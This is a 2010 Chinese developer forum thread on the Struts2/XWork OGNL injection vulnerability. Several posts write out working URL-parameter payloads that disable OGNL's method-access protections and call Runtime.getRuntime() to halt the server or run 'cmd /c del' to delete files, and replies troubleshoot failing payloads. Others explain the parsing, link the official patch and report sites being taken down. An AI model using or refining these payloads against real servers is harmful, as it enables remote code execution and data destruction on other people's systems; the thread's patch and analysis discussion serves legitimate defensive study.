该帖已经被评为精华帖
|
|
---|---|
作者 | 正文 |
发表时间:2010-07-26
wuyakenihao 写道 我试验怎没成功。?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023exec(del c:/12.txt) ')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
之前公司安全测试这个漏洞,很是吓了我一跳。tomcat一下子就自我关闭了。 测试用的代码就是 ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(by)=true&(tuan)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(zhang)(('\u0023rt.halt(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime())) 现在官方补丁 http://svn.apache.org/viewvc?view=revision&revision=956389 |
|
返回顶楼 | |
发表时间:2010-07-26
wuyakenihao 写道 我试验怎没成功。?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023exec(del c:/12.txt) ')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
你的命令写错了吧,“del XXX”加引号试试,和平台没有关系 |
|
返回顶楼 | |
发表时间:2010-07-26
wuyakenihao 写道 兄弟,我的这个怎么没执行成功。是不是在window 下不能执行?
你写错了: java.lang.Runtime.getRuntime().exec("cmd /c del d:\\my_corner.txt"); |
|
返回顶楼 | |
发表时间:2010-07-26
my_corner 写道 downpour 写道 Struts2/XWork一直将OGNL作为其依赖的表达式语言,这一点是造成这一漏洞的根源。OGNL是强大的,不过强大就要付出代价。
从这个漏洞本身来说,我们只需要在小范围内引起警惕就行,尤其是针对互联网应用,对于企业内部应用,事实上也没什么必要多花功夫。 我比较期待的,是某一天Struts2的开发者不再使用OGNL,而是自己开发一套表达式语言,这样的问题就不复存在了。 OGNL表达式(Object GraphicNavigation Language对象图导航语言),其实OGNL表达式并非是只是用于Struts2在页面上标签取值的工具。它贯穿了struts2/xwork的整个体系,在Struts 2框架中,值栈(Value Stack)就是OGNL的根对象,Struts 2中的OGNL Context是ActionContext。只要是request之间传递参数就会用到OGNL,所以并非老兄说的小范围。 你对小范围的理解错了。 我对小范围的定义是,如果Struts2被用于互联网应用,那么我们对此类漏洞需要警惕。对于一些企业内部的应用,由于使用者多数是成熟的客户,我们可以放松一些。受到攻击的可能性也很小。 有时候得了利就要付出代价,OGNL是强大的,于是我们就要付出代价。 |
|
返回顶楼 | |
发表时间:2010-07-26
my_corner 写道 onlylau 写道 确实有用
不过我很想知道,你的那段参数是怎么最后被OGNL处理成 java.lang.Runtime.getRuntime().exit(1); 呵呵,有关该bug报道已经有很多了,而且做了原因分析: ONGL支持的一些功能
并且OGNL有预定义的变量
那段参数转义后: ('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 执行时OGNL,设置调用静态方法为true,denyMethodExecution(拒绝方法执行)设置为false,然后调用方法,#rt.exit(1),在根据#rt=@java.lang.Runtime@getRuntime()最后就被解析为java.lang.Runtime.getRuntime().exit(1); 弱弱的问一下,那段参数中的(aaa)和(asdf)是起什么作用的?有点搞不明白。。。 |
|
返回顶楼 | |
发表时间:2010-07-26
很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了
|
|
返回顶楼 | |
发表时间:2010-07-26
WebWork用户表示配置拦截器不起作用。看来必须手工给src打patch然后自己编译一个xwork了。
|
|
返回顶楼 | |
发表时间:2010-07-26
这个BUG发布当日, 几家大公司无一幸免。 类似漏洞的研究, 我们进行了很长时间。 实际上, apache上做点虚拟补丁技术, 能提高网站的可靠性。
|
|
返回顶楼 | |
发表时间:2010-07-26
我网站首页图片被删光了~~~~
|
|
返回顶楼 | |
发表时间:2010-07-26
davepkxxx 写道 很好,这个BUG果然牛,我直接把我们的网站干掉了,这回要考虑一下了
我刚刚试了试,还是不行。我的strut2的版本2.1.6 ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec('cmd /c del d:/12.txt')')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 我这个哪里写错了吗? |
|
返回顶楼 | |